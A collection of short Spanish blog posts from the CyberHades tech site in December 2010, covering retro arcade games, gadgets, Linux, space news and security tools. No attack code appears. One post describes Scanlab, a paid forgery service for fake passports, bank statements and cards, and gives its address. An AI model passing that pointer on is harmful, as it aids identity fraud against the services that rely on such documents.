Esta herramienta (que puedes instalar como aplicación ó como un gadget) te permite buscar redes wifis, configurarla, buscar posibles problemas, ver la cobertura, dispositivos, y detectar posibles  rogue APs.

El radar te muestra la ubicación (aunque la orientación no es exacta) para hacerte una idea de las redes que tienes a tu alrededor y la distancia (más o menos) a donde te encuentras con el ordenador. 

La pira de Hades: NAVIDAD GEEK

GUARDIA IMPERIAL TRÁFICO

RADAR:_______Zona 25756. Bosque de Endor. Dirección pueblo Ewok.

VELOCIDAD:___520 Km/h

DELITO:______Exceso de velocidad y conducción temeraria.

SANCIÓN:_____600 créditos del Imperio y retirada del carnet.

¡¡ FELICES FIESTAS DE PARTE DE TODO EL EQUIPO DE CYBERHADES !!

P.D.: No os preocupéis, Papá Noel volverá con su antiguo trineo.

Microhistorias: Machacando las recreativas en los …

 

Todos hemos jugado a máquinas recreativas, sobre todo a finales de los 80 y los 90. Aún recuerdo ir los sábados por la mañana a un salón de máquinas recreativas en El Puerto de Santa María con 100 pesetas (con mi amigo Pellejo) y pegarme toda la mañana jugando al 1942, Rygar, BreakThru, BomJack, Ghost’n’Goblins, etc. Era bastante bueno jugando a casi todos incluso hacía algunos records y llegaba a darle la vuelta a algunos de ellos. Pero estos juegos eran relativamente “fáciles”, siguiendo algunos patrones y con mucha paciencia (y monedas) podías llegar a terminarlos. Los realmente difíciles eran los que estaban casi siempre vacíos, al fondo del salón recreativo, donde sólo los más osados se atrevían a gastar sus valiosas 25 pesetas. Pac-Man, Donkey Kong, Defender, Ms. Pac Man, son sólo algunos de estos juegos míticos.

La gorra más geek

Impresionante todo lo que esta gorra puede abarcar.

Dispone de:

• USB 2.0
• Auriculares con micrófono y control remoto.
• Cámara de vídeo (30 fps).
• Reproductor MP3 y WMA.
• Soporte de Micro SD (hasta 4 GB).
• Autonomía: 4 horas reproduciendo música. 2 horas grabando vídeo. 800 horas en espera.
• Bluetooth 2.0
• Tiempo de carga de la batería: 3.5 horas.
• Y sólo pesa 60 gramos. (Aunque alguno tiene cabeza para 20 pescuezos. Ya me salió la vena gaditana :-) ).
• Ah, y también tiene visera para el sol!

Y todo por 107 €. El regalo perfecto para tu amado geek. La mala noticia es que están agotadas. Yo le añadiría algún logo geek, pero lo por lo demás tiene muy buena pinta.

¿PC o Mac? ¿Windows o Linux? ¿Firefox...?

Historia de la guerra de los flames, o discusiones que normalmente no llegan a ningún lado, pero que siempre las tenemos ahí. Así es como han titulado esta entrada en Arstechnica.

En la misma, podemos ver a modo de gráficas, las palabras que más aparecen en la barbaridad de libros que Google escaneó entre 1800 y 2008.

Ya tenéis otro motivo más para empezar otro flame basado en estas gráficas :-)

Nueva pestaña en CyberHades: "Secciones"

Hemos creado una nueva pestaña en el blog donde aparecen las 4 secciones (de momento) que tenemos en CyberHades. Haz click en la imágen para acceder al contenido:

¿Cómo funciona el sistema de ficheros Linux y …

 

(Todas la imágenes pertenecen a HowToGeek)

Siempre hemos oido hablar más de FAT, FAT32 ó NTFS, sistemas de archivo para sistemas con Windows, pero poco sabemos (al menos yo) sobre el fstab, y el sistema de archivos (tabla de archivos del sistema) en Linux, EXT. Ahora con las nuevas distribuciones cuando conectas por USB un dispositivo, es reconocido de forma automática por el sistema. Antes, tenías que usar el comando "mount" para poder ver estas unidades, para todo, CD, disquetera, etc. Pues gracias a fstab, esto ya es historia, pero esta es sólo una de las características de este sistema de ficheros.

En la web howtogeek hemos encontrado este fantástico tutorial para comprender un poco más a fstab, que vamos a resumir y de paso, aprender un poco más sobre él.

Árbol de Navidad en Javascript

Javascript uno de los lenguajes de programación más mal entendidos, no deja de impresionarme. Especialmente cuando lo pones en manos de genios.

En este caso, Román Cortés, nos deleita con su algoritmo, con el que ha concursado en la competición de demos de menos de 1k (segunda edición, motivos navideños), con este magnífico árbol de Navidad.

¡Buena suerte!

Animación con una presentación de Google docs de …

Impresionante el vídeo de una animación que han creado 3 grafistas durante 3 días.

Visto en geek.com

Proyectos de Instructables, ebook gratuito

Detallazo de Eric Willhelm, dueño del portal de Instructables, el recopilar algunos de los proyectos enlazados desde Hackaday en el último trimestre.

Aquí no queda la cosa, lo hacen público y por consiguiente totalmente gratuito, sin publicidad y en formato ¡ePub! para que los puedas leer en tu lector de libros electrónicos favoritos.

Dicho documento lo puedes descargar desde aquí. Su contenido es el siguiente:

• Introduction
• Breath powered USB charger
• How to build the one motor walker!
• Make a 3-D Stereoscope Slide and Video Shooter
• How To Make Your Own Sugru Substitute
• Kinetic Marble Track Around The Top Of A Room
• Home automation server with router
• A Universal RFID Key
• Spinner / Jog Wheel Inside of a VCR Head
• DIY Portable Wedding Photo Booth
• Wooden Remote Control Quadrocopter Build
• quadrotor
• Control Your TV with Your Phone
• Cheap Motion Detection Wildlife Camera
• How To Make a (Free) Tactical Pressure Switch
• A watering controller that can be home networked
• Time lapse add-on to a Rollei digicam
• Homemade Wakeboard, Wakeskate Winch From BeachWinches.com
• Re-purposing an Air Wick Freshmatic Compact i-Motion
• DIY RAM Memory- Register Style
• Too-cool Rainbow Headband
• LED Speedometer
• Use Your Camera To Capture “3D” Anaglyphs
• Arduino Magstripe Emulator
• Semi-Automatic NERF Longshot

¡Chapó!

0day CSS exploit en IE sobre Windows 7

Aquí os dejo un vídeo que acaban de publicar en la web de Offensive Security, donde muestran como sobre un Windows 7 totalmente actualizado, ejecutan código local a través de un ataque CSS contra IE, en esta caso abren la calculadora.

Internet Explorer CSS 0day on Windows 7 from Offensive Security on Vimeo.

Esta es la entrada original.

Eventos que nos interesan

 

Vamos a intentar actualizar una pequeña agenda de eventos relacionados con la temática del blog para el próximo año 2011.

Hemos añadido en nuestros enlaces (en la barra derecha del blog), una nueva categoría llamada “Eventos” donde iremos colocando enlaces a aquellos cursos, quedadas, conferencias, etc que nos parezcan interesantes.

Voy a inagurarla con estos dos eventos:

Gira UpToSecure de Informática64

(NOTA: en Valencia es el día 25 de Enero, nosotros estaremos allí)

Cómo ganar en el Donkey Kong (guía rápida …

 

How to win at Donkey Kong es una guía rápida de bolsillo, pero muy avanzada, donde explican estratégias y patrones para conseguir llegar al final del famoso Donkey Kong.

La he visto en Scribd donde puedes verlo online. Sólo son 34 páginas.

Puedes consultarlo aquí.

Y si te apetece una partida online, pulsa aquí.

Microsoft Security Essentials 2.0

 

Ya está disponible la nueva versión de uno (o quizás el mejor) antivirus gratuito para Windows. La nueva versión ha rediseñado su motor de búsqueda heurística, añade integración con el Firewall de Windows (puedes modificarlo desde el antivirus) así como un analizador de tráfico de red (sólo para Vista y Windows 7). También se integra con Internet Explorer para una mejor protección de ataques vía web (por ejemplo, scripts).

MSE es gratuito para uso personal y grátis para uso en negocios hasta 10 ordenadores (para más, necesitarás la suite de Forefront).

Space Invaders + Tron Legacy

Visto en 8Bits.

Este domingo por la mañana, "Guilty About Girls", …

Guilty About Girls

Libro: La nueva ola de la ilustración japonesa

"¿Por qué nos gusta tanto Japón? ¿Qué nos atrae y engancha tanto de un país y una cultura que, física, espiritual e intelectualmente, está tan lejos de todo y de todos?" Así comienza este libro y las respuestas a estas preguntas están en su interior, por lo menos para un cualquier ilustrador.

Rebuscando en la zona de comics de mi FNAC más cercano he encontrado una auténtica obra maestra recién salida del horno (1ª edición Nov. 2010) por la Editorial Norma. Es una recopilación de los artistas, diseñadores e ilustradores más relevantes del panorama japones actual. 114 autores preciosamente embutidos en 450 páginas a color que son todo un regalo a la vista y un gran reto a estudiar. Además de ilustraciones también hay entrevistas a grandes autores como: Foorider, Minchi o Ryohei Hase (mi favorito :-) imagen inferior)

Blizzard y su auto-ataque DoS con la expasión …

 

La noche del día 6 al 7 de Diciembre se lanzó la esperada expasión de Cataclysm. En Blizzard tuvieron la genial idea de anunciarlo en el juego con un mensaje, diciendo más o menos que ya estaba el Cataclismo y que reiniciaras el juego.

... Y pasó lo que tenía que pasar. Un ataque DoS involuntario en toda regla. Millones de usuarios haciendo la misma petición de login a los servidores de Blizzard provocaron un colapso que llevó a la imposibilidad de logearse durante un buen rato.

Desafortunada imágen de Harry Potter en un …

 

Una imágen vale más que mil palabras :)

Visto en GeeksAreSexy.

La muerte de Han Solo y Chewbacca ...

 

En el juego The Force Unleashed 2 puedes ASESINAR a Han Solo y a Chewbacca. Antes de darle al play a este video,  si eres fan de la saga, te advierto que te dolerá.

Qué pena me ha dado madre mía, me estoy haciendo mayor.

Esto es ir demasiado lejos … hay cosas que no se deben tocar ;)

Visto en io9.

Er docu der finde: La oscura era digital

¿Empieza Apple a entrar en razón?

O simplemente ya están cansados.

El motivo de este entrada, es que parece ser que Apple, con la nueva versión de su sistema operativo iOS 4.2, ha eliminado la API (que introdujeron en la versión 4.0) para detectar si el dispositivo en el que está corriendo está jailbroken.

Por lo visto, dicho movimiento lo han hecho a chita callando y no hay una versión oficial del mismo. Pero viendo como está el panorama y desde que en EEUU es legal jailbreak tu iPhone ¿Qué sentido tiene seguir jugando al gato y al ratón con este tema?

Dr. Kentar

Cermets bimetálicos de CuNi o CuFe combinados con CeO2 u óxidos mixtos relacionados (Ce-Gd y Ce-Tb) aplicables como ánodos de pilas de combustible SOFC para oxidación directa de metano

Este es el título de la tésis (Ingeniería Química) de nuestro amigo y colaborador de CyberHades, Kentar. Espero que nos siga deleitando ahora que es doctor, con sus grandes post científicos como este ó este otro }:)

Yo sólo por el título lo aprobaba...

A partir de ahora, Kentar pasa a ser Dr. Kentar.

Anapnea

Anapnea es una red abierta orientada al hacking donde ofrecen shells gratuitas con 100mb de espacio y todo tipo de herramientas de desarrollo, utilidades de red, espacio web y email seguro.

Todo lo que necesitas es un cliente ssh para conectarte al sistema, pero primero necesitas una cuenta. Para ello tienes que conectarte al canal de #anapnea in irc.freenode.net y decirles el motivo por el cual quieres dicha cuenta. Si te aprueban la petición, pues ya está.

DojoCon 2010 vídeos

Ya puedes ver y/o descargar los vídeos de la DojoCon 2010, celebrada en Dulles, Virgina los pasados 11 y 12 de Diciembre. Desde la web de irongeek puedes acceder a dichos vídeos, que puedes ver online a través de Vimeo o descargarlos a través de los enlaces que también proveen desde la misma web.

Desde aquí, vamos a dejaros la lista de enlaces de cada presentación:

International Cyber Jurisdiction: “Kill Switching” Cyberspace, Cyber Criminal Prosecution & Jurisdiction Hopping Security and IT Convergence Rules of Engagment: Mitigating Risk in Information Security Work Ninja Patching .NET Detecting & Defending You Network using Nepenthes/Shaolin Tools Using Social Networks To Profile, Find and 0wn Your Victims P2P Forensics When Domain Names Look Like Spaghetti (or Whatever) Internationalized Domain Names & Investigations in the Networked World Don’t Punch My Junk How to 0wn an ISP in 10 Minutes Enterprise Packet Capture on Da’Cheap Printer Exploitation Malicious USB Devices: Is that an attack vector in your pocket or are you just happy to see me? Is the IDS Dead? The State of (In)Security Security Outliers: Cultural Cues from High-Risk Professions DDoS

Negocios del Malware

Enlace original

Los mejores tutoriales de Photoshop del 2010

En esta entrada podéis encontrar una amplia y completa colección de tutoriales sobre Photoshop aparecidos durante el presente año, el cual está a punto de dejarnos.

Cubre técnicas de colores y efectos fotográficos, dibujo, arte digital, diseño de póster, abstracción, animación, etc.

Google Maps 5.0 para Android

Impresionante la nueva versión de Google Maps con vistas en 3D.

Arrastrando con dos dedos hacia abajo, el mapa se convierte en 3D, puedes girar el mapa o ponerlo en modo brújula y se va girando conforme te vas moviendo. Otra nueva característica es que puedes trabajar en modo offline.

Aquí os dejo un vídeo:

Aquí el anuncio oficial

INS2: Nuevo chip implantable en la espina dorsal …

El sistema se denomina Implantable Neuro Sensing and Stimulation (INS2). El dispositivo identifica los nervios que transmiten dolor al cerebro y a través de un pulso eléctrico dirigido a estos consigue reducir su voltaje (superior a 10 v)  disminuyendo la sensación de dolor sin eliminarla del todo. No debemos olvidar que el dolor es un aviso ante un problema. El chip es un poco más grande que una cabeza de alfiler y su batería, recargable de forma inalámbrica, es del tamaño de una tarjeta SIM.

A todos los niños les gusta Santa Claus... seguro?

Una buena recopilación navideña llena de paz, amor y alegría HO HO HO :-x

Link urlesque

Tenía que pasar, primer juego de sexo con Kinect

Ya tardaba ;)

Visto en ripten.

Diseñando y construyendo un ordenador de 8 bits …

 

Matt Sarnoff es el diseñador de este completo ordenador de 8 bits. No es sólo el hardware, también el kernel y las librerías.

Algunos datos, la CPU es un Motorola 6809,  usa un chip de video TMS9918 y un YM2149 para sonido (este chip se usó en el Atari ST). Tiene 512KB de RAM y una velocidad de 2MHZ. Los programas se leen y se almacenan desde una Compactflash.

Como evitar el Blue Screen of Death para …

... y convertirlo en el Red Screen of Death, o green, white, etc... :-p Ok, después del chiste malo al que alguno no le hará ninguna gracia, vamos a ponernos serio.

Mark Russinovich ha escrito un artículo donde araña las entrañas de Windows y nos explica como podemos cambiar el color del famoso BSOD.

El artículo es muy interesante de leer y muy educativo a su vez. Échale un vistazo si quieres conocer los detalles técnicos y saber que API del kernel de Windows se encarga de esta tarea.

Es como perder un imperdible... más o menos

Las pasadas fiestas de acción de gracias, las pasé en Atlanta con mi familia política y nos hospedamos en un hotel. Dando una vuelta por el hotel, cerca de la recepción, tenían un ordenador, el cual podías usar si necesitabas acceder a internet por ejemplo.

Ese es el ordenador del que hablo. Si miramos el cartelito de arriba, dice lo típico de "Únete a nosotros en Facebook". Podéis ver la foto a continuación.

Todo lo que deberías saber sobre el cubo de Rubik

Fuente

Voyager I preparada para salir del Sistema Solar

Como expliqué anteriormente en el artículo ¿Dónde están la Voyager? la frontera en el fin del Sistema Solar no es solo una linea escrita en un papel, es una fuerte  protección magnética que nos salva de vientos solares potentísimos de otras estrellas que son millones de veces más grandes que nuestro sol. Según explicaron ayer científicos de la NASA en el Congreso de la Unión Geofísica Americana la Voyager I se encuentra en la mismísima frontera: "Cuando supe que estábamos midiendo ceros absolutos, me quedé atónito", manifestó el científico de la misión, Rob Decker, de la Universidad Johns Hopkins, al comprender que la nave, del tamaño de un Ford Fiesta, había llegado a ese límite final donde "el viento solar da la vuelta", en palabras de otro de los investigadores del proyecto, Ed Stone, del Instituto Tecnológico de California.

Cohetes del Mundo (poster)

 

Impresionante poster de un libro de física del profesor Peter Alway (editado en 1995) llamado "Rockets of the World". Puedes descargarlo en tamaño 3322 x 5079 desde aquí. 

El más grande sigue siendo el gigante Saturno V.

Visto en MakeMagazine.

Los mejores "DIY (Do it yourself)" de LifeHacker …

 

Ya publicamos también otro post de LifeHacker de "How To" con los mejores de 2010, ahora le toca a los mejores proyectos "Do it yourself".

Estos son algunos de nuestros favoritos:

How to Build a Hackintosh Mac and Install OS X in Eight Easy Steps

How to Turn Your iPod touch into an iPhone: 4G Edition

Turn Your Old Router into a Range-Boosting Wi-Fi Repeater

Quince fotografías sin photoshopped

Resto de fotografías en oddee.com

OSSTMM 3

La nueva versión de OSSTMM (Open Source Security Testing Methodology Manual) se acaba de hacer pública. Puedes descargar esta guía desde aquí.

Este manual toca prácticamente todos los aspectos a tener en cuenta a la hora de poner a prueba la seguridad de nuestros sistemas. Cubre: testeos de seguridad, métricas de seguridad operacional, análisis de confianza, métricas de confianza operacional, así como tácticas para mejorar la seguridad física, redes, conexiones inalámbricas, comunicaciones electrónicas y humanas.

"Rango", de Paramount

 Impresionante animación en 3D.

Se estrena el 4 de Marzo de 2011.

Visto en FirstShowing.

Stephen Alvarez: fotógrafo de cuevas

Fotografías hechas en Tennessee, Abkasia, Belize, Omán y Nueva Guinea.

Realizar fotografías así es muy complejo. Requiere de mucha disciplina tanto por parte del fotógrafo como por parte de los ayudantes. En el video podemos observar dos clases de fotografías: las de acción (colgando de cuerdas) y las estáticas (de posición B en galerías amplias).

1) Si alguien ha probado a fotografiar en un bosque de noche se dará cuenta de que lo primero que hace falta es un trípode ya que la fotografía tiende a la trepidación (efecto de movimiento en fotos nocturnas si no tienes el pulso de un cirujano, suele aparecer en las fotos de las moragas de la noche de San Juan... y no, no es por el alcohol :-) ) Además de estar en un ambiente sin luz hay que sumarle el estar colgado de una cuerda, estar pendiente de los golpes y de que no se moje, en definitiva toda una hazaña.

BinPack

BinPack es un entorno de seguridad portátil para Windows. Contiene más 100 de herramientas de seguridad, que puedes instalar a golpe de ratón y convertir tu sistema en un completo "laboratorio" de seguridad.

Es gratis para uso personal, aunque también disponen de una licencia corporativa.

Puedes descargar la última versión desde aquí. Y aquí puedes ver un presentación de este producto.

Google eBooks

Esta es otra de las grandes apuestas de Google. No va a tener nada fácil hacer frente la librería online más potente hoy en día: Amazon.

El Google eBooks, es un servicio online con más de 3 millones de libros disponibles, posiblemente al mismo precio o muy parecido al resto, lease Amazon, Barnes&Nobles, etc, pero el potencial de éste, desde mi punto de vista, es la posibilidad de poder compartir tu libro con diferentes dispositivo, que a diferencia de Amazon, por ejemplo, no te permite hacerlo.

Enrique Morente, gracias por todo maestro

 

Hoy es un día triste para la música …

Este es mi humilde homenaje a un genio.

Sólo él supo llevar el flamenco a todos los estratos musicales.

No te olvidaremos maestro.

No, no fuiste descargado ... (humor)

 

No, no fuiste descargado.

Tú naciste ...

Visto en GeeksAreSexy.

Trailer de "Thor"

Thor, otro superhéroe más del cómic a la gran pantalla.

Todos los detalles del despegue del Transbordador …

 

Impresionante video de la NASA donde podemos ver en alta resolución y en cámara lenta / stop motion, todo el proceso de despegue del Transbordador Espacial.

Narrado en inglés pero puedes poner los subtítulos en español.

Visto en UniverseToday.

Otro domingo más por la mañana, 65daysofstatic …

Ya os hablé esta semana de 65daysofstatic, vamos a acabarla con ellos también.

Honeycomb corriendo sobre un tablet de Motorola

Alguno se preguntará que es Honeycomb. Honeycomb es el nombre en clave de la versión 3.0 de Android. De esta versión a día de hoy se sabe muy poco, pero según el jefe de proyecto de Android, Andy Rubin, unas de las mejoras de esta versión es que viene optimizada tanto para smartphones como para tablets. Por lo tanto habrá sólo una versión de Android que correrá en ambos tipos de dispositivos.

Vístete como Tron...

Por el módico precio de $995 para él o $899 para ella. Ya te puedes comprar el traje de Tron. Puedes comprarlo por separado o en su conjunto.

Para él:

Chaqueta: $498.00 Pantalones: $269.00 Guantes: $79.00 Botas: $149.00

Para ella:

Chaqueta: $ 425.00 Pantalones: $ 259.00 Guantes: $ 69.00 Botas: $ 146.00

Puedes comprarlos aquí

Cursos de ofuscación y criptografía

Concretamente son 2 cursos los que podemos encontrar disponibles en este enlace:

Ofuscación y criptografía:

• Lecture 1: Introduction to Obfuscation. Black-box Security Presentation in PDF and Handout in PDF
• Lecture 2: Obfuscation Around Point Functions Presentation in PDF and Handout in PDF
• Lecture 3: Oblivious RAM Presentation in PDF and Handout in PDF
• Lecture 4: Private Circuits Presentation in PDF and Handout in PDF
• Lecture 5: Industrial Approach: Obfuscating Transformations Presentation in PDF and Handout in PDF

Ofuscación:

• Lecture 1: Different Approaches to Program Obfuscation Presentation in PDF and Handout in PS
• Lecture 2: Practical Obfuscation Techniques Presentation in PDF and Handout in PS
• Lecture 3: Provable Secure Obfuscation Presentation in PDF and Handout in PS
• Lecture 4: Applications of Program Obfuscation Presentation in PDF and Handout in PS
• Lecture 5: Program Obfuscation and Classical Cryptography Presentation in PDF and Handout in PS
• Lecture 6: Open Problems in Program Obfuscation Presentation in PDF and Handout in PS

Los diez grandes desastres tecnológicos

Er docu der finde…

Las 11 mejores aplicaciones de hacking y seguridad …

Dando alguna vuelta por Internet, esta lista se repite cada año. Parece que esta colección de aplicaciones son imprescindibles, ¿pondrías alguna más?, yo sí, la número 11 pienso que merece estar también en la lista.:

1. John the Ripper: herramienta para cracking de contraseñas. Es una de las más conocidas y populares (también tiene versión Windows). Además de autodetectar el hash de las contraseñas, puedes configurarlo como quieras. Lo puedes usar en contraseñas encriptadas para Unix (DES, MD5 ó Blowfish), Kerberos AFS y Windows. Tiene módulos adicionales para incluir hashes de contraseñas badadas en MD4 y almacenadas en LDAP, MySQL y otros.

Expocomic 2010

Ya está de nuevo en Madrid la XIII de EXPOCOMIC.

Aunque ya no se pueda aprovechar el 2x1 de ayer, las entradas cuestan 5 €, así que los amantes de los cómics y de toda clase de merchandising de videojuegos y cómics no os lo podéis perder.

Descargar manuales de servicio para impresoras

En esta web puedes encontrar una colección de manuales de servicio (los buenos, donde se indica cómo se desmontan pieza por pieza y otras operaciones que no suelen venir en los manuales clásicos) de impresoras de varias marcas (HP, Oki, Canon, Kyocera, etc...)

También tienen instrucciones en video, códigos de errores, manuales paso a paso, etc.

Un buen sitio para acudir cuando necesites realizar alguna operación compleja sobre una impresora/multifunción.

¿Cómo es una caja negra por dentro?

Entre sus características estan las de aguantar un impacto durante 6,5 milisegundos de 3600Gs,  soportar 2600kg sobre ellas, debe permanecer inerte durante 30 minutos a temperaturas extremas (1100º) y que pueden sumergirse hasta 6000 metros de profundidad bajo el agua, aguantando grandes presiones, por un máximo de 36 horas. Además todas ellas llevan un localizador de emeregencia que trabaja a 37,5 KHz para su rápida localización y con una batería de 6 años de vida útil.

Scanlab, falseando documentos en la web

 

Hay algunos servicios online que requieren presentar una prueba de nuestra identidad online mediante el escaneo de un documento importante como pasaporte, movimientos bancarios, tarjetas de crédito, diplomas, etc.

Servicios como scanlab (no voy a linkar la web, pero si tienes curiosidad por verla esta es la dirección, scanlab.name) permiten crear gran variedad de estos  documentos falsos, previo pago claro. Tiene una gran base de datos de plantillas de más de 120 países (17GB) donde puedes encontrar casi cualquier documento que se necesite.

La importancia de entender la letra de las …

Ya lo sé, hoy no es domingo pero se parece …

Canción espectacular del grupazo 65daysofstaic “Radio Protector”.

Antes de ver el video, continúa leyendo para ver  la letra de la canción…

Los mejores "How to" de LifeHacker 2010

 

Ya queda poco para que acabe el año y los amigos de LifeHacker han sacado este post con los mejores "how to" (guías) del año. Por ejemplo cómo hacer copias de seguridad en disco duro de tus juegos Wii , ejecutar Mac OSX en VirtualBox sobre Windows, etc, son sólo algunos de ellos.

No te lo pierdas, alguno seguro que lo pasaste por alto.

LifeHacker, Most Popular How-To Guides 2010

Bañadores geek para chicas, pack C-3PO y R2D2

Aprovechando que está tórrido el ambiente ;) ...

Se pueden comprar aquí por 85$ cada uno, aunque yo lo vendería como un pack “indivisible” (igual que los yogures) ;)

Visto en GeeksAreSexy.

Calendario Tórrido 2011

(de izquierda a derecha , ANDOR, Frikiñeka y el gran Vierito5) 

Ya puedes comprar el Calendario Tórrido de 2011, sólo hay 950 copias así que date prisa si no quieres quedarte sin él. Cuesta 10€ y el 100% de los beneficios serán para la organización de ayuda que seleccionen los participantes en las fotos del calendario.

Para comprarlo sólo tienes que enviar un correo a:

11 Finales extraños de videojuegos

 

Ante todo un aviso: spoiler, si ves todos los videos y lees los comentarios te pueden chafar el juego, aunque algunos son clásicos, hay otros que son bastante actuales.

Pero no deberías de perdérterlos, son inesperados y muy extraños.

Todos puedes verlos aquí.

Visto en Kotaku.

Más sobre la serie de TV "Juego de Tronos"

 

(Video Making of con más escenas nuevas)

Cada vez aparecen más escenas de esta serie basada en los geniales libros de George R.R. Martin de la colección llamada Canción de Hielo y Fuego, en concreto del primero libro Juego de Tronos (en principio, si la serie tiene éxito aún quedarán varios libros más por explotar).

Ahora que se acercan las Navidades y tenemos algo de tiempo libre, os aconsejo para pasar unos buenos ratos de aventuras, conseguir el primer libro (en Fnac he visto esta edición de dos tomos al precio de 13,30€ del primer libro) y buscar un lugar calentito en casa donde leerlo (acompañado de un vasito de un buen licor mucho mejor).

Tres maneras gratuitas de convertir un fichero BAT …

 

Creo que esto es interesante por varias razones, pero la principal es que nadie vea ni toque el código de tu fichero BAT. Otra muy útil se aplica en entornos protegidos, por ejemplo, si tenemos un usuario sin derechos de administrador, podrá siempre ejecutar un BAT sin solicitar elevación a administrador. En cambio, si convertimos el BAT a EXE, siempre se pedirá elevación de usuario a administrador.

En 4SysOps nos muestran cuatro maneras de realizar esta conversión de forma gratuita, tres de ellas gratuitas:

Emulador de Game Boy escrito en Javascript: Bancos …

Nueva entrega de este magnífico tutorial. En este caso veremos el uso de bancos de memoria, o la necesidad del swapping cuando nuestro juego completo no cabe en la memoria.

Aquí tenéis las entradas anteriores:

La CPU La Memoria La GPU Gráficos Integración Entrada de datos Sprites Interrupciones

El seguro de vida de Wikileaks

 

No es más que un fichero. Eso sí, encriptado con cifrado AES256 que sólo puede ser descifrado usando una contraseña. Este es el seguro de vida de Wikileaks y de su fundador Julian Assange. Si algo le ocurre a él (ó a alguno de sus colaboradores) dice que hará pública la contraseña para descifrar este fichero y donde se encuentran todos los reveladores documentos que afectarían a gobiernos, organizaciones, bancos, etc.

Puedes descargarlo vía Torrent desde este enlace de The Pirate Bay (1,45GB)

Vaya domingo, una canción para calmarnos todos …

Crystal Castles con la colaboración del gran Robert Smith (The Cure).

La pira de Hades: NASA

Seguro que alguno esperaba algo más que bacterias después de leer este post de cybercaronte.

Estudiando a fondo el comportamiento de los …

Ya conocéis nuestra pasión por este clásico juego (recuerda echar un vistazo a nuestro post que habla sobre el libro que te puedes descargar llamado "Cómo hacer un millón de puntos con Pac-Man"). Ya habíamos visto mucha información relativa a Pac-Man, pero aún nos quedan sorpresas. Vía SlashDot he visto este artículo llamado "Understanding Pac-Man Ghost Behavior".

Está ampliamente detallado cómo funcionan los algoritmos que tienen cada uno de los fantasmas del juego. Indica por ejemplo que cada fantasma está programado con una “personalidad” individual, donde un algoritmo diferente para cada uno determina la forma de moverse por el laberinto.

Spot de Famous Footwear

Este anuncio ha sido rodado con un sistema de grabación, que ya comenté en este post, Phantom HD Gold. Se grabó durante dos noches en Vancouver, Canadá, a 2048x1080 a 600 fps (sí, esta cámara lo puede todo y más). La lente que utilizaron fueron las famosas Cooke S4 a f2.0 y a 640 iso porque utilizaban 250.000 Watts de luz con una composición de 359º. Director Loni Peristere de Zoic Studios en Los Angeles.

Codename: Linux

Bueno, Cybercaronte nos deleita con su música para los domingos por la mañana, Chorch nos prometió música para el sábado por la noche y Okajey nos sorprendió a todos con “La pira de Hades”, así que me pregunté si debería hacer también algo de este tipo… y al final me he decidido por dejar un documental todos los viernes por la noche. No necesariamente ser sobre informática o tecnología e intentaré que esté en español.

Nueva cinemática "in game" de "Cataclysm"

El 7 de Diciembre saldrá la expansión Cataclyms de World Of Warcraft

Te guste o no el juego, las cinemáticas y la música siempre son increibles. Este video es de juego real, impresionante.

Tutorial: añadir una imagen 3D en una fotografía …

Parte 1

Parte 2

Parte 3

Buen tutorial, mal ejemplo

El error que cometen la mayoría de mis alumnos cuando hacen composiciones de 3D es la de intentar realizar el objeto virtual lo más realista posible. El propósito de estas imágenes es la de engañar al cerebro y posteriormente al ojo, y no al revés. La imagen y el objeto deben estar sincronizados [silla, mesa y salón] [avión, cielo y aeropuerto] [móvil, portátil y oficina] Estas escenas suelen encajar bien a la mayoría de los "cerebros" y lo que se obtiene es que éste no se preocupa en exceso de si ese objeto es real o no. Todo esto no es un secreto porque se da en primero de publicidad. Un coche raro delante de una fachada de un edificio del siglo XIX no es un buen ejemplo.

Shut up!

Comunicado de la NASA: han encotrado una bacteria …

(Foto de la bacteria, SCIENCE-AAAS / EL País) 

No es tan espectacular como pensábamos pero sí es revolucionario. Han encontrado en un lago de California, llamado "Mono", una bacteria que es capaz de sustituir el fósforo por arsénico. Antes se suponía que este elemento era tóxico, por eso no hemos buscado en entornos donde hace aparición este elemento.

Tenemos que sumar a la lista: carbono, hidrógeno, nitrógeno, oxígeno, azufre y fósforo, más el arsénico.

Microhistorias: Linus Torvalds, también conocido …

 

(Foto de Linus jóven y un Sinclair QL)

Todos sabemos quién es y qué hizo Linus Torvalds, pero seguro que no sabéis que uno de sus primeros ordenadores (creo que el segundo, el primero fue un VIC-20) fue un flamante Sinclair QL. Y le sacó bastante partido. Sino atentos a la microhistoria.

Con el dinero de cumpleaños y algún que otro trabajo de verano, Linus ahorró los 2.000 dólares de la época (estamos hablando de 1986-1987) y optó por comprar un Sinclair QL. Este ordenador es uno de los grandes olvidados y también el comienzo del fin de la era Sinclair. Pero tenemos que recordar sus bondades, como por ejemplo fue de los primeros en tener un procesador de 32 bits, exactamente un Motorola 68008 y además incluía los famosos microdrives. Aunque Linus admite que lo compró por el procesador y porque tenía una estética “chula”.

Curso de javascript

Javascript 101 es un curso de 10 horas de duración, en formato audio, para principiantes. El curso cubre no sólo la sintaxis básica de este lenguaje, sino que da un repaso a los objetos, AJAX e incluso cubre una hora de jQuery.

Además de los ficheros de audio (mp3), también tenemos a disposición las diapositivas y los ejercicios que se usan en dicho curso.

Puedes descargar el archivo completo con todo el material desde aquí o aquí.

La Pira de Hades: la nueva tira cómica de …

Pira, hoguera, fogata, fogón, lumbre es un fuego mantenido voluntariamente para calentarse, cocinar o celebrar ritos o fiestas. Aunque, más bien, la definición que ando buscando es la de que es un método de ejecución que consiste en quemar vivo al condenado en una gran hoguera. La Pira de Hades es un sitio en el que espero que no haya fondo porque quiero sacar punta a muchos temas, algunos los trataré con humor y otros no tanto. Tan solo espero que alguien se ofenda... si no que gracia tendría? :lol:

Probando la moto de Tron

Hay que ser largo para conducirla.

¿Qué tiene que anunciar la NASA este jueves sobre …

 

Ojo a la conferencia de prensa que dará la NASA mañana jueves a las 14:00 hora EST. Fijáos lo que anuncia, literalmente (subrayado del texto original) "... para hablar sobre un descubrimiento astrobiológico de gran impacto para la búsqueda de evidencias de vida extraterrestre".

WASHINGTON – NASA will hold a news conference at 2 p.m. EST on Thursday, Dec. 2, to discuss an astrobiology finding that will impact the search for evidence of extraterrestrial life. Astrobiology is the study of the origin, evolution, distribution and future of life in the universe

Concurso Sprite Animation Contest de Informatica64

 

Nuestros amigos de Informatica64 nos ofrecen la oportunidad de ganar una consola Xbox (hay tres, una para cada categoría) en el concurso Sprite Animation Contest y además aprender algo del nuevo HTML5 e Internet Explorer 9.

